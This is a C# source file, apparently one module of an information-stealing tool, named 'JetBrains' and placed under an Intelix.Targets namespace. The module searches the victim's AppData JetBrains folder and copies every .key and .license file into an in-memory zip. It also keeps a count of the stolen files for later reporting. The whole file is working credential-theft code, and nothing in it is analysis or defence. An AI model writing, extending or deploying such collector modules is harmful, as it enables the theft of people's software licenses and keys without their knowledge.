Files
2026-08-27 10:55:23 -06:00

40 lines
1.2 KiB
C#

using System;
using System.IO;
using System.Linq;
using System.Threading.Tasks;
using Intelix.Helper.Data;
namespace Intelix.Targets.Applications;
public class JetBrains : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "JetBrains");
if (!Directory.Exists(path))
{
return;
}
string[] allowedExtensions = new string[2] { ".key", ".license" };
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "JetBrains";
Parallel.ForEach(Directory.GetDirectories(path), delegate(string apps)
{
Parallel.ForEach(Directory.GetFiles(apps), delegate(string file)
{
if (allowedExtensions.Contains(Path.GetExtension(file)))
{
string text = "JetBrains\\" + Path.GetFileName(apps) + "\\" + Path.GetFileName(file);
zip.AddFile(text, File.ReadAllBytes(file));
counterApplications.Files.Add(file + " => " + text);
}
});
});
if (counterApplications.Files.Count() > 0)
{
counterApplications.Files.Add("JetBrains\\");
counter.Applications.Add(counterApplications);
}
}
}